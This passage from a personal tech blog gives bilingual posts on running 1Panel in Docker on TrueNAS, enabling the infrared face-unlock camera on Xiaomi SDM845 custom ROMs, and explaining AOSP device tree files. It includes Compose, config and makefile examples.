在DockerData数据集创建了一个文件夹专门用于存储1panel数据，即用作容器内/opt/1panel，位于/mnt/systemdata/DockerData/1panel。

持久卷

因为要允许1Panel管理宿主机docker，因此需要映射/var/run/docker.sock和宿主的docker文件夹
映射上文为其创建的数据文件夹

TrueNAS的docker文件夹和一般的Linux位置不一样，一般的Linux位于/var/lib/docker而TrueNAS的位于/mnt/.ix-apps/docker。

环境变量和端口映射

环境变量和镜像作者的设置相同，传入TZ=Asia/Shanghai；端口映射根据需要自行设置即可，容器内端口为10086。

Docker Compose

有了上述信息，编写docker compose就容易许多了。
完整Docker Compose文件如下：

services:
  1panel:
    dns:
      - 223.5.5.5
    environment:
      - TZ=Asia/Shanghai
    image: moelin/1panel:latest
    labels:
      createdBy: Apps
    ports:
      - '8085:10086'
    restart: always
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock
      - /mnt/.ix-apps/docker:/var/lib/docker
      - /mnt/systemdata/DockerData/1panel/opt:/opt/1panel
      - /mnt/systemdata/DockerData/1panel/root:/root
      - /etc/docker:/etc/docker

这里映射/root是因为我需要在容器内运行Git，而Git config存储在/root下；
设置dns是因为1Panel制作环境镜像的时候需要连网下载数据，不指定dns会报错。

安装完成后访问你设置的端口即可。

1Panel基础信息:

默认账户：1panel
默认密码：1panel_password
默认入口：entrance

故障处理

Docker镜像源

实际测试的时候发现如果不设置镜像源，即使配置了Proxy，在安装PHP环境的时候也会报错~~，并且配置了镜像源同时配置了Proxy也会安装失败，不清楚为什么~~
打开TrueNAS的/etc/docker/daemon.json并添加registry-mirrors：

{
	"data-root": "/mnt/.ix-apps/docker",
	"default-address-pools": [
		{
			"base": "172.17.0.0/12",
			"size": 24
		}
	],
	"exec-opts": [
		"native.cgroupdriver=cgroupfs"
	],
	"iptables": true,
	"registry-mirrors": [
		"https://docker.1panel.live"
	],
	"storage-driver": "overlay2"
}

保存，重启主机docker，再去1Panel里安装环境。

:::warning 这一步的配置重启后会丢失，尽量一次性安装好环境和需要的app :::

1Panel创建的容器无法启动

这个是因为在1Panel中，默认存储数据的文件夹是我们所映射出来的/opt/1panel，但是实际上创建的容器运行在TrueNAS里，访问的是TrueNAS里不存在的/opt/1panel，并且其/opt默认是只读的，因此在启动容器的时候会报错Read-only filesystem。

我自己的解决方案也很简单粗暴，在TrueNAS主机中先挂载/opt为可读写，再创建一个软链接指向1Panel的数据文件夹。

cd /opt
mount -o remount,rw /opt
ln -s /mnt/systemdata/DockerData/1panel/opt 1panel

然后就可以正常使用啦

有一个需要注意的点，在1Panel中安装OpenResty时记得避开使用80和443端口，这俩是TrueNAS的webui默认端口

Installing 1Panel Using Docker on TrueNAS

Fri, 07 Mar 2025 05:18:00 GMT

Background

My TrueNAS has some performance headroom, so I'm thinking of deploying a web service. I want to install a control panel to reduce manual work. Considering the performance overhead of virtual machines, the high memory requirements for ZFS cache, and the fact that the NAS itself isn't very powerful, I decided to use Docker for deployment. Furthermore, since 1Panel itself is distributed as a Docker image, both systems controlling the TrueNAS host's Docker daemon is essentially equivalent to deploying websites directly on the TrueNAS host, making management easier.

Analysis

:::warning This article assumes TrueNAS can access Docker Hub and the Docker daemon is already configured. :::

Environment Information

Storage Pool

There are two storage pools:

/mnt/data: 1 x MIRROR | 2 wide | 2.73 TiB | HDD
/mnt/systemdata: 1 x DISK | 1 wide | 223.57 GiB | SSD

Docker data is stored in storage pool #2.

Datasets

There are three datasets:

Storage: Located in the data storage pool, stores cold data.
DockerData: Located in the systemdata storage pool, stores persistent data for containers.
KaguraiYoRoy: Located in systemdata, the user's home directory.

Installing 1Panel

Used the moelin/1panel:latest image for deployment. Many parts of this process can refer to the README written by the image author. Project address: okxlin/docker-1panel

Created a folder specifically for storing 1Panel data within the DockerData dataset, which is used as /opt/1panel inside the container, located at /mnt/systemdata/DockerData/1panel.

Persistent Volumes

To allow 1Panel to manage the host's Docker, map /var/run/docker.sock and the host's Docker directory.
Map the data folder created for it earlier.

The Docker directory in TrueNAS is different from typical Linux systems. Typically, it's at /var/lib/docker, but in TrueNAS, it's at /mnt/.ix-apps/docker.

Environment Variables and Port Mapping

The environment variables are the same as those set by the image author, passing TZ=Asia/Shanghai. Port mapping can be set as needed; the container's port is 10086.

Docker Compose

With the above information, writing the Docker Compose file becomes straightforward.
The complete Docker Compose file is as follows:

services:
  1panel:
    dns:
      - 223.5.5.5
    environment:
      - TZ=Asia/Shanghai
    image: moelin/1panel:latest
    labels:
      createdBy: Apps
    ports:
      - '8085:10086'
    restart: always
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock
      - /mnt/.ix-apps/docker:/var/lib/docker
      - /mnt/systemdata/DockerData/1panel/opt:/opt/1panel
      - /mnt/systemdata/DockerData/1panel/root:/root
      - /etc/docker:/etc/docker

Mapping /root is because I need to run Git inside the container, and Git config is stored under /root.
Setting DNS is because 1Panel needs to download data online when building environment images, and errors occur without specifying DNS.

After installation, access the port you set.

1Panel Basic Information:

Default Username: 1panel
Default Password: 1panel_password
Default Entrance: entrance

Troubleshooting

Docker Mirror

During testing, it was found that without setting a mirror source, even with a Proxy configured, installing the PHP environment would fail. ~~Furthermore, configuring both a mirror source and a Proxy also led to installation failure; the reason is unclear.~~ Open /etc/docker/daemon.json on TrueNAS and add registry-mirrors:

{
	"data-root": "/mnt/.ix-apps/docker",
	"default-address-pools": [
		{
			"base": "172.17.0.0/12",
			"size": 24
		}
	],
	"exec-opts": [
		"native.cgroupdriver=cgroupfs"
	],
	"iptables": true,
	"registry-mirrors": [
		"https://docker.1panel.live"
	],
	"storage-driver": "overlay2"
}

Save the file, restart the host's Docker service, then try installing the environment in 1Panel again.

:::warning This configuration might be lost after a reboot. Try to install all necessary environments and apps in one go if possible. :::

Containers Created by 1Panel Fail to Start

This is because in 1Panel, the default folder for storing data is the mapped /opt/1panel. However, the containers actually run on the TrueNAS host and try to access /opt/1panel, which doesn't exist on TrueNAS by default, and its /opt is read-only by default. This causes a "Read-only filesystem" error when starting containers.

My solution is straightforward: On the TrueNAS host, first remount /opt as read-write, then create a symbolic link pointing to 1Panel's data folder.

cd /opt
mount -o remount,rw /opt
ln -s /mnt/systemdata/DockerData/1panel/opt 1panel

After this, it should work normally.

One thing to note: When installing OpenResty in 1Panel, remember to avoid using ports 80 and 443, as these are the default ports for the TrueNAS web UI.

小米845系列机器类原生调用红外摄像头进行人脸识别

Thu, 06 Mar 2025 14:57:00 GMT

背景

小米845系列的小米8、小米8屏幕指纹版有一颗前置红外摄像头用于面部识别，这样即使在无光的环境下仍可以使用面部解锁。然而如果使用LineageOS的设备树不加修改编译出来的类原生无法使用红外摄像头，只能使用普通的摄像头，而PixelExperience的设备树是可以的，故探究其原因。

原因

CameraID

首先是需要指定人脸识别模块使用红外摄像头。翻阅PixelExperience的相关设备树源码可以发现：在overlay中设置了调用CameraID为5的摄像头用作人脸识别。

https://github.com/PixelExperience-Devices/device_xiaomi_dipper/blob/fourteen/overlay/packages/apps/FaceUnlockService/app/src/main/res/values/config.xml

<?xml version="1.0" encoding="utf-8"?>
<resources>
    <integer name="override_front_cam_id">5</integer>
    <bool name="use_alternative_vendor_impl">true</bool>
</resources>

PixelExperience使用的是motorola的人脸解锁方案，而现在很多类原生使用的是AOSPA的ParanoidSense，因此上述设置的overlay并不适用。

查阅ParanoidSense源码可以看到：使用了Properties属性ro.face.sense_service.camera_id标识使用的摄像头。

https://github.com/AOSPA/android_packages_apps_ParanoidSense/blob/uvite/src/co/aospa/sense/camera/CameraUtil.kt#L32

    val cameraIdProp = SystemProperties.get("ro.face.sense_service.camera_id")

因此理论上只要设置ro.face.sense_service.camera_id属性为5即可使其调用红外人脸摄像头。

vendor.camera.aux.packagelist属性

如果仅仅设置上述CameraID相关属性，那么人脸模块调用时会直接报错。翻阅Frameworks部分的代码可以得知：系统默认隐藏了除主前摄和主后摄之外的其他辅助摄像头（即AUXCamera），而红外摄像头也属于AUXCamera之一。

取LineageOS的Framework代码作为例子：

https://github.com/LineageOS/android_frameworks_base/blob/lineage-21.0/core/java/android/hardware/Camera.java#L295-L301

    /**
     * Returns the number of physical cameras available on this device.
     * The return value of this method might change dynamically if the device
     * supports external cameras and an external camera is connected or
     * disconnected.
     *
     * If there is a
     * {@link android.hardware.camera2.CameraCharacteristics#REQUEST_AVAILABLE_CAPABILITIES_LOGICAL_MULTI_CAMERA
     * logical multi-camera} in the system, to maintain app backward compatibility, this method will
     * only expose one camera per facing for all logical camera and physical camera groups.
     * Use camera2 API to see all cameras.
     *
     * @return total number of accessible camera devices, or 0 if there are no
     *   cameras or an error was encountered enumerating them.
     */
    public static int getNumberOfCameras() {
        int numberOfCameras = _getNumberOfCameras();
        if (!shouldExposeAuxCamera() && numberOfCameras > 2) {
            numberOfCameras = 2;
        }
        return numberOfCameras;
    }

不难看出，即使设备有大于2颗摄像头，若函数shouldExposeAuxCamera()返回为False则会强制指定摄像头数量为2，阻止程序访问CameraID>2的摄像头；再来看看这个判断函数的定义：

https://github.com/LineageOS/android_frameworks_base/blob/lineage-21.0/core/java/android/hardware/Camera.java#L264-L278

    /**
     * @hide
     */
    public static boolean shouldExposeAuxCamera() {
        /**
         * Force to expose only two cameras
         * if the package name does not falls in this bucket
         */
        String packageName = ActivityThread.currentOpPackageName();
        if (packageName == null)
            return true;
        List<String> packageList = Arrays.asList(
                SystemProperties.get("vendor.camera.aux.packagelist", packageName).split(","));
        List<String> packageExcludelist = Arrays.asList(
                SystemProperties.get("vendor.camera.aux.packageexcludelist", "").split(","));

        return packageList.contains(packageName) && !packageExcludelist.contains(packageName);
    }

可以看出，假如包名在属性vendor.camera.aux.packagelist中并且不在vendor.camera.aux.packageexcludelist中就会返回为True，否则False。

那么解决方案就很明了了：将ParanoidSense的包名加到vendor.camera.aux.packagelist属性中即可让其能够调用到红外摄像头。

解决

将ParanoidSense的包名co.aospa.sense加到vendor.camera.aux.packagelist中：

https://github.com/YoriInstitute/crDroidAndroid_device_xiaomi_sdm845-common/commit/28fe5bc41d49b31b4acb840bf167b70d70a40c61

设置ro.face.sense_service.camera_id属性以指定摄像头：

https://github.com/YoriInstitute/crDroidAndroid_device_xiaomi_equuleus/commit/67518f130650e4592b5f4c7210248072058d48cc
https://github.com/YoriInstitute/AOSPA_device_xiaomi_equuleus/blob/topaz/device.mk#L397-L399

在crDroid魔改的ParanoidSense中，因指定了其位于system_ext（https://gitlab.com/crdroidandroid/android_packages_apps_FaceUnlock/-/commit/545688260eb32ba19f348e84e3cae89ba29f20d1），故将这个属性加到system_ext的prop文件中。

Using Infrared Camera for Face Recognition on Xiaomi 845 Series with Custom ROMs

Thu, 06 Mar 2025 14:57:00 GMT

Background

The Xiaomi 845 series, specifically the Mi 8 and Mi 8 Pro (UDFPS), feature a dedicated front-facing infrared camera for facial recognition. This enables facial unlock functionality even in complete darkness. However, when using a custom ROM like LineageOS compiled from its standard device tree, the infrared camera remains inaccessible, forcing the system to rely on the standard front camera. Interestingly, PixelExperience ROMs successfully utilize this hardware. This article explores the reasons behind this discrepancy and outlines the solution.

The Cause

CameraID

The first step is directing the face recognition module to use the infrared camera. Examining the PixelExperience device tree source code reveals an overlay that configures the face unlock service to use the camera with ID 5.

https://github.com/PixelExperience-Devices/device_xiaomi_dipper/blob/fourteen/overlay/packages/apps/FaceUnlockService/app/src/main/res/values/config.xml

<?xml version="1.0" encoding="utf-8"?>
<resources>
    <integer name="override_front_cam_id">5</integer>
    <bool name="use_alternative_vendor_impl">true</bool>
</resources>

PixelExperience uses Motorola's face unlock solution. Many other custom ROMs, however, utilize AOSPA's ParanoidSense. Therefore, the PixelExperience overlay method isn't directly applicable.

Inspecting the ParanoidSense source code shows that it uses a system property, ro.face.sense_service.camera_id, to identify which camera to use.

https://github.com/AOSPA/android_packages_apps_ParanoidSense/blob/uvite/src/co/aospa/sense/camera/CameraUtil.kt#L32

    val cameraIdProp = SystemProperties.get("ro.face.sense_service.camera_id")

Thus, in theory, simply setting the ro.face.sense_service.camera_id property to 5 should direct it to the infrared camera.

The `vendor.camera.aux.packagelist` Property

Merely setting the CameraID property is insufficient; the face unlock module would simply fail to access the camera. Delving into the Android framework code reveals that the system, by default, hides auxiliary cameras (AuxCameras) beyond the primary front and rear cameras. The infrared camera falls into this AuxCamera category.

Using LineageOS framework code as an example:

https://github.com/LineageOS/android_frameworks_base/blob/lineage-21.0/core/java/android/hardware/Camera.java#L295-L301

    /**
     * Returns the number of physical cameras available on this device.
     * The return value of this method might change dynamically if the device
     * supports external cameras and an external camera is connected or
     * disconnected.
     *
     * If there is a
     * {@link android.hardware.camera2.CameraCharacteristics#REQUEST_AVAILABLE_CAPABILITIES_LOGICAL_MULTI_CAMERA
     * logical multi-camera} in the system, to maintain app backward compatibility, this method will
     * only expose one camera per facing for all logical camera and physical camera groups.
     * Use camera2 API to see all cameras.
     *
     * @return total number of accessible camera devices, or 0 if there are no
     *   cameras or an error was encountered enumerating them.
     */
    public static int getNumberOfCameras() {
        int numberOfCameras = _getNumberOfCameras();
        if (!shouldExposeAuxCamera() && numberOfCameras > 2) {
            numberOfCameras = 2;
        }
        return numberOfCameras;
    }

As shown, even if a device has more than two cameras, if the shouldExposeAuxCamera() function returns False, the system reports only two cameras, preventing access to any camera with an ID greater than 1. Let's examine this function:

https://github.com/LineageOS/android_frameworks_base/blob/lineage-21.0/core/java/android/hardware/Camera.java#L264-L278

    /**
     * @hide
     */
    public static boolean shouldExposeAuxCamera() {
        /**
         * Force to expose only two cameras
         * if the package name does not falls in this bucket
         */
        String packageName = ActivityThread.currentOpPackageName();
        if (packageName == null)
            return true;
        List<String> packageList = Arrays.asList(
                SystemProperties.get("vendor.camera.aux.packagelist", packageName).split(","));
        List<String> packageExcludelist = Arrays.asList(
                SystemProperties.get("vendor.camera.aux.packageexcludelist", "").split(","));

        return packageList.contains(packageName) && !packageExcludelist.contains(packageName);
    }

The logic is clear: if the current application's package name is listed in the vendor.camera.aux.packagelist system property and is not in the vendor.camera.aux.packageexcludelist property, the function returns True, allowing access to auxiliary cameras.

The solution becomes evident: add the ParanoidSense package name (co.aospa.sense) to the vendor.camera.aux.packagelist property.

The Solution

Add the ParanoidSense package name co.aospa.sense to the vendor.camera.aux.packagelist property:

https://github.com/YoriInstitute/crDroidAndroid_device_xiaomi_sdm845-common/commit/28fe5bc41d49b31b4acb840bf167b70d70a40c61

Set the ro.face.sense_service.camera_id property to specify the correct camera ID:

https://github.com/YoriInstitute/crDroidAndroid_device_xiaomi_equuleus/commit/67518f130650e4592b5f4c7210248072058d48cc
https://github.com/YoriInstitute/AOSPA_device_xiaomi_equuleus/blob/topaz/device.mk#L397-L399

In the crDroid-modified version of ParanoidSense, which is placed in the system_ext partition (refer: https://gitlab.com/crdroidandroid/android_packages_apps_FaceUnlock/-/commit/545688260eb32ba19f348e84e3cae89ba29f20d1), this property should be added to the corresponding system_ext prop file.

简述对AOSP设备树中的一些文件和概念的理解

Mon, 03 Feb 2025 03:58:00 GMT

:::warning 以下内容很大一部分是我个人对设备树中一些概念的理解，并非官方定义的概念，如有错误欢迎指正 :::

设备树所共有的内容大致分为以下几类：

Android.bp
各种Makefile，后缀.mk
prop文件，后缀.prop
overlay，放在overlay文件夹中
sepolicy，即SELinux规则，放在sepolicy文件夹中
manifest.xml和FCM（framework_compatibility_manifest.xml）
extract-files.py、setup-makefiles.py和proprietary-files.txt
.dependencies结尾的依赖文件
其他各种配置

Android.bp

这是AOSP构建系统Ninja的配置文件，设备树对它的依赖不大（主要内容都放在Android.mk和其他Makefile里了），一般用于引入其他的soong_namespace，以引用其他文件夹下的Modules。此处以LineageOS的socrates设备树为例：

//
// Copyright (C) 2024 The LineageOS Project
//
// SPDX-License-Identifier: Apache-2.0
//

soong_namespace {
    imports: [
        "hardware/xiaomi",
    ],
}

此处声明导入了hardware/xiaomi下的namespace，这样使得PRODUCT_PACKAGES可以引用到hardware/xiaomi中的项目

Makefile

Android.mk

这个文件定义了整个设备树的入口（应该是），还是以socrates为例：

#
# Copyright (C) 2024 The LineageOS Project
#
# SPDX-License-Identifier: Apache-2.0
#

LOCAL_PATH := $(call my-dir)

ifeq ($(TARGET_DEVICE),socrates)
include $(LOCAL_PATH)/vendor-symlinks.mk
include $(call all-subdir-makefiles,$(LOCAL_PATH))

include $(CLEAR_VARS)
# A/B builds require us to create the mount points at compile time.
# Just creating it for all cases since it does not hurt.
FIRMWARE_MOUNT_POINT := $(TARGET_OUT_VENDOR)/firmware_mnt
$(FIRMWARE_MOUNT_POINT): $(LOCAL_INSTALLED_MODULE)
	@echo "Creating $(FIRMWARE_MOUNT_POINT)"
	@mkdir -p $(TARGET_OUT_VENDOR)/firmware_mnt

BT_FIRMWARE_MOUNT_POINT := $(TARGET_OUT_VENDOR)/bt_firmware
$(BT_FIRMWARE_MOUNT_POINT): $(LOCAL_INSTALLED_MODULE)
	@echo "Creating $(BT_FIRMWARE_MOUNT_POINT)"
	@mkdir -p $(TARGET_OUT_VENDOR)/bt_firmware

DSP_MOUNT_POINT := $(TARGET_OUT_VENDOR)/dsp
$(DSP_MOUNT_POINT): $(LOCAL_INSTALLED_MODULE)
	@echo "Creating $(DSP_MOUNT_POINT)"
	@mkdir -p $(TARGET_OUT_VENDOR)/dsp

ALL_DEFAULT_INSTALLED_MODULES += $(FIRMWARE_MOUNT_POINT) $(BT_FIRMWARE_MOUNT_POINT) $(DSP_MOUNT_POINT)
endif

可以看出，如果TARGET_DEVICE等于socrates，编译系统才会继续引用这个文件夹下的所有Makefile，并会在此定义一些挂载点。

AndroidProduct.mk

这个文件一般用于引入下面的os_codename.mk，并定义COMMON_LUNCH_CHOICES，它定义了lunch时该设备支持的类型（一般在此区分user、userdebug和eng类型的构建）
注：COMMON_LUNCH_CHOICES貌似在Android14及以上的构建中取消了

BoardConfig.mk

:::note 一般在common tree中（如果有）会被命名成BoardConfigCommon.mk :::

顾名思义，这是手机的板级配置文件，一般定义了像CPU的架构、分区大小、内核参数等，一般会在此处引入SEPolicy文件夹、各个prop文件、manifest.xml、FCM和其他一些硬件上的参数等

此处的配置大部分可以在各个rom之间通用

device.mk

:::note 一般在common tree中（如果有）会被命名成soc.mk或者common.mk，比如在小米的sdm845-common中被命名为sdm845.mk，在小米的sm7250-common中被命名为lito.mk :::

这个文件一般定义的是Android操作系统中的一些服务、引入各种库、复制权限文件（如：LineageOS/android_device_xiaomi_sdm845-common/blob/lineage-22.1/sdm845.mk#L26-L62）

此处的内容有一部分是各个rom间通用的，具体请视情况而定

os_codename.mk

此处定义的一般是和当前ROM高度相关的内容，比如以socrates为例：

#
# Copyright (C) 2024 The LineageOS Project
#
# SPDX-License-Identifier: Apache-2.0
#

# Inherit common AOSP configurations
$(call inherit-product, build/make/target/product/full_base_telephony.mk)
$(call inherit-product, build/make/target/product/core_64_bit_only.mk)

# Inherit device-specific configurations
$(call inherit-product, device/xiaomi/socrates/device.mk)

# Inherit LineageOS configurations
$(call inherit-product, vendor/lineage/config/common_full_phone.mk)

PRODUCT_NAME := lineage_socrates
PRODUCT_DEVICE := socrates
PRODUCT_MODEL := Redmi K60 Pro
PRODUCT_BRAND := Redmi
PRODUCT_MANUFACTURER := Xiaomi

BUILD_FINGERPRINT := Redmi/socrates/socrates:14/UKQ1.230804.001/V816.0.11.0.UMKCNXM:user/release-keys

引入了构建时必要的配置和lineage的配置，在此处引用不同的配置文件可设置操作系统位数和区分平板还是手机

如此处引入了build/make/target/product/core_64_bit_only.mk这个文件，代表当前设备树编译出来的ROM只支持64位应用，如果此处引入core_64_bit.mk则会一并支持32位应用
此处引入了vendor/lineage/config/common_full_phone.mk代表是为手机类型的设备适配的，若为平板类型的设备则需要引入common_full_tablet.mk或者common_full_tablet_wifionly.mk之类的

下面则定义了设备相关的信息，如制造厂、厂商、设备codename和model

Prop文件

此处定义的是系统内的Property属性，和系统内的prop文件功能相同，定义了某些依赖prop作为设置项的软件需要的条目。建议参考网上的介绍，此处不多介绍

Overlay

官方介绍： Android Overlay是一种资源替换机制，它能在不重新打包apk的情况下，实现资源文件的替换（res目录非assert目录）

个人理解：用于替换和覆写系统内指定软件的res的xml的特定内容，可以此修改系统设置、开关等。

举个例子：https://github.com/LineageOS/android_device_xiaomi_socrates/blob/lineage-22.1/overlay/SystemUIOverlaySocrates/res/values/config.xml#L24

展开代码

<?xml version="1.0" encoding="utf-8"?>
<!--
/*
** Copyright 2009, The Android Open Source Project
**
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
**
**     http://www.apache.org/licenses/LICENSE-2.0
**
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*/
-->

<!-- These resources are around just to allow their values to be customized
     for different hardware and product builds. -->
<resources>
    <!-- Doze: does this device support STATE_DOZE?  -->
    <bool name="doze_display_state_supported">true</bool><!--这一行-->

    <!-- Color of the UDFPS pressed view -->
    <color name="config_udfpsColor">#00FFFFFF</color>

    <!-- paddings for container with status icons and battery -->
    <dimen name="status_bar_icons_padding_start">0dp</dimen>
    <dimen name="status_bar_icons_padding_end">0dp</dimen>

    <!-- the padding on the start of the statusbar -->
    <dimen name="status_bar_padding_start">10dp</dimen>

    <!-- the padding on the end of the statusbar -->
    <dimen name="status_bar_padding_end">4dp</dimen>
</resources>

此处修改的就是https://github.com/LineageOS/android_frameworks_base/blob/lineage-22.1/packages/SystemUI/res/values/config.xml#L175 这里的同名变量，并以此标识设备是否支持Doze display：https://github.com/LineageOS/android_frameworks_base/blob/472a48741ac22537b3a0d1c0b87dbff2c1c2af8f/packages/SystemUI/src/com/android/systemui/statusbar/phone/DozeParameters.java#L185-L187

在编写overlay时一般需要参考系统内对res中的项的定义，并根据需要替换其中的值

.dependencies文件

顾名思义，依赖，此处定义了使用这个设备树还需要哪些依赖的仓库，使用json编码。基本格式如下：

[
   {
      "repository": "",
      "target_path": "",
      "branch": "",
      "remote": ""
   },
   {
      "repository": "",
      "target_path": "",
      "branch": "",
      "remote": ""
   }
]

参数详解：

remote: 远程地址，对应的主代码树manifest中的远程地址。该参数非必须，若不指定则默认按照主代码树manifest中的默认远程地址克隆
repository: 仓库地址，即远程地址下的这个仓库，必须
branch: 分支，对应从指定repository下载时的分支。非必须，若不指定则默认和主代码树分支相同
target_path: 克隆目标地址，必须
clone-path: 克隆深度，同git指令clone时的--depth参数。非必须，若不指定则默认是全部下载（和git指令一个逻辑）
revision: 可以理解为branch，非必须

因此不带那些可选参数时一个最简单的dependences可以是这样的：

https://github.com/LineageOS/android_device_xiaomi_equuleus/blob/lineage-22.1/lineage.dependencies

[
  {
    "repository": "android_device_xiaomi_sdm845-common",
    "target_path": "device/xiaomi/sdm845-common"
  }
]

在使用类似breakfast这样的自动下载支持的设备树的指令的时候会根据这个文件将需要的仓库整合进主代码树的manifest并一并下载下来

extract-files.py、setup-makefiles.py和proprietary-files.txt

这些文件是生成Vendor tree的时候用的，一般在proprietary-files.txt里写好需要的blobs，然后运行extract-files.py从系统或者dump中提取blobs并制成vendor tree

先写这么多，后面有待补充（

Brief Understanding of Some Files and Concepts in AOSP Device Trees

Mon, 03 Feb 2025 03:58:00 GMT

:::warning The following content largely represents my personal understanding of some concepts within device trees and is not official definitions. Corrections are welcome if any errors are found. :::

The common contents of a device tree can be broadly categorized as follows:

Android.bp
Various Makefiles, with the suffix .mk
prop files, with the suffix .prop
overlay, placed in the overlay folder
sepolicy, i.e., SELinux rules, placed in the sepolicy folder
manifest.xml and FCM (framework_compatibility_matrix.xml)
extract-files.py, setup-makefiles.py, and proprietary-files.txt
Dependency files ending with .dependencies
Various other configurations

Android.bp

This is the configuration file for the AOSP build system, Ninja. The device tree doesn't rely heavily on it (main content is usually in Android.mk and other Makefiles). It's generally used to introduce other soong_namespaces, allowing references to Modules from other directories. Let's take the LineageOS socrates device tree as an example:

//
// Copyright (C) 2024 The LineageOS Project
//
// SPDX-License-Identifier: Apache-2.0
//

soong_namespace {
    imports: [
        "hardware/xiaomi",
    ],
}

Here, it declares the import of the namespace from hardware/xiaomi, enabling PRODUCT_PACKAGES to reference items from hardware/xiaomi.

Makefile

Android.mk

This file defines the entry point for the entire device tree (it should be). Again, using socrates as an example:

#
# Copyright (C) 2024 The LineageOS Project
#
# SPDX-License-Identifier: Apache-2.0
#

LOCAL_PATH := $(call my-dir)

ifeq ($(TARGET_DEVICE),socrates)
include $(LOCAL_PATH)/vendor-symlinks.mk
include $(call all-subdir-makefiles,$(LOCAL_PATH))

include $(CLEAR_VARS)
# A/B builds require us to create the mount points at compile time.
# Just creating it for all cases since it does not hurt.
FIRMWARE_MOUNT_POINT := $(TARGET_OUT_VENDOR)/firmware_mnt
$(FIRMWARE_MOUNT_POINT): $(LOCAL_INSTALLED_MODULE)
	@echo "Creating $(FIRMWARE_MOUNT_POINT)"
	@mkdir -p $(TARGET_OUT_VENDOR)/firmware_mnt

BT_FIRMWARE_MOUNT_POINT := $(TARGET_OUT_VENDOR)/bt_firmware
$(BT_FIRMWARE_MOUNT_POINT): $(LOCAL_INSTALLED_MODULE)
	@echo "Creating $(BT_FIRMWARE_MOUNT_POINT)"
	@mkdir -p $(TARGET_OUT_VENDOR)/bt_firmware

DSP_MOUNT_POINT := $(TARGET_OUT_VENDOR)/dsp
$(DSP_MOUNT_POINT): $(LOCAL_INSTALLED_MODULE)
	@echo "Creating $(DSP_MOUNT_POINT)"
	@mkdir -p $(TARGET_OUT_VENDOR)/dsp

ALL_DEFAULT_INSTALLED_MODULES += $(FIRMWARE_MOUNT_POINT) $(BT_FIRMWARE_MOUNT_POINT) $(DSP_MOUNT_POINT)
endif

It shows that if TARGET_DEVICE equals socrates, the build system will proceed to include all Makefiles in this directory and define some mount points here.

AndroidProduct.mk

This file is typically used to include the os_codename.mk file below and define COMMON_LUNCH_CHOICES. It defines the types supported by the device during lunch (generally distinguishing between user, userdebug, and eng builds). Note: COMMON_LUNCH_CHOICES seems to have been removed in Android 14 and above builds.

BoardConfig.mk

:::note In common trees (if they exist), this is often named BoardConfigCommon.mk :::

As the name suggests, this is the board configuration file for the phone. It generally defines things like CPU architecture, partition sizes, kernel parameters, etc. It usually includes the SEPolicy folder, various prop files, manifest.xml, FCM, and other hardware-related parameters.

Most configurations here are generally reusable across different ROMs.

device.mk

:::note In common trees (if they exist), this is often named soc.mk or common.mk. For example, it's named sdm845.mk in Xiaomi's sdm845-common and lito.mk in Xiaomi's sm7250-common. :::

This file generally defines services within the Android operating system, includes various libraries, copies permission files (e.g., LineageOS/android_device_xiaomi_sdm845-common/blob/lineage-22.1/sdm845.mk#L26-L62).

Some of the content here is reusable across different ROMs; please decide based on the specific situation.

os_codename.mk

This file typically defines content highly specific to the current ROM. For example, using socrates:

#
# Copyright (C) 2024 The LineageOS Project
#
# SPDX-License-Identifier: Apache-2.0
#

# Inherit common AOSP configurations
$(call inherit-product, build/make/target/product/full_base_telephony.mk)
$(call inherit-product, build/make/target/product/core_64_bit_only.mk)

# Inherit device-specific configurations
$(call inherit-product, device/xiaomi/socrates/device.mk)

# Inherit LineageOS configurations
$(call inherit-product, vendor/lineage/config/common_full_phone.mk)

PRODUCT_NAME := lineage_socrates
PRODUCT_DEVICE := socrates
PRODUCT_MODEL := Redmi K60 Pro
PRODUCT_BRAND := Redmi
PRODUCT_MANUFACTURER := Xiaomi

BUILD_FINGERPRINT := Redmi/socrates/socrates:14/UKQ1.230804.001/V816.0.11.0.UMKCNXM:user/release-keys

It includes necessary configurations for the build and LineageOS configurations. Referencing different configuration files here can set the operating system bitness and distinguish between tablet and phone.

For instance, including build/make/target/product/core_64_bit_only.mk means the ROM built from this device tree only supports 64-bit apps. If core_64_bit.mk were included instead, it would also support 32-bit apps. Including vendor/lineage/config/common_full_phone.mk indicates adaptation for a phone-type device. For a tablet-type device, common_full_tablet.mk or common_full_tablet_wifionly.mk would be included.

The section below defines device-related information like manufacturer, brand, device codename, and model.

Prop Files

These define Property attributes within the system, functioning similarly to prop files inside the system. They define entries required by software that relies on props for settings. It's recommended to refer to online introductions for details, as we won't elaborate much here.

Overlay

Official introduction: Android Overlay is a resource replacement mechanism that allows replacing resource files without repackaging the APK (res directory, not assets directory).

Personal understanding: Used to replace and override specific content in the res XML of specified software within the system, allowing modifications to system settings, toggles, etc.

For example: https://github.com/LineageOS/android_device_xiaomi_socrates/blob/lineage-22.1/overlay/SystemUIOverlaySocrates/res/values/config.xml#L24

Expand Code

<?xml version="1.0" encoding="utf-8"?>
<!--
/*
** Copyright 2009, The Android Open Source Project
**
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
**
**     http://www.apache.org/licenses/LICENSE-2.0
**
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*/
-->

<!-- These resources are around just to allow their values to be customized
     for different hardware and product builds. -->
<resources>
    <!-- Doze: does this device support STATE_DOZE?  -->
    <bool name="doze_display_state_supported">true</bool><!--这一行-->

    <!-- Color of the UDFPS pressed view -->
    <color name="config_udfpsColor">#00FFFFFF</color>

    <!-- paddings for container with status icons and battery -->
    <dimen name="status_bar_icons_padding_start">0dp</dimen>
    <dimen name="status_bar_icons_padding_end">0dp</dimen>

    <!-- the padding on the start of the statusbar -->
    <dimen name="status_bar_padding_start">10dp</dimen>

    <!-- the padding on the end of the statusbar -->
    <dimen name="status_bar_padding_end">4dp</dimen>
</resources>

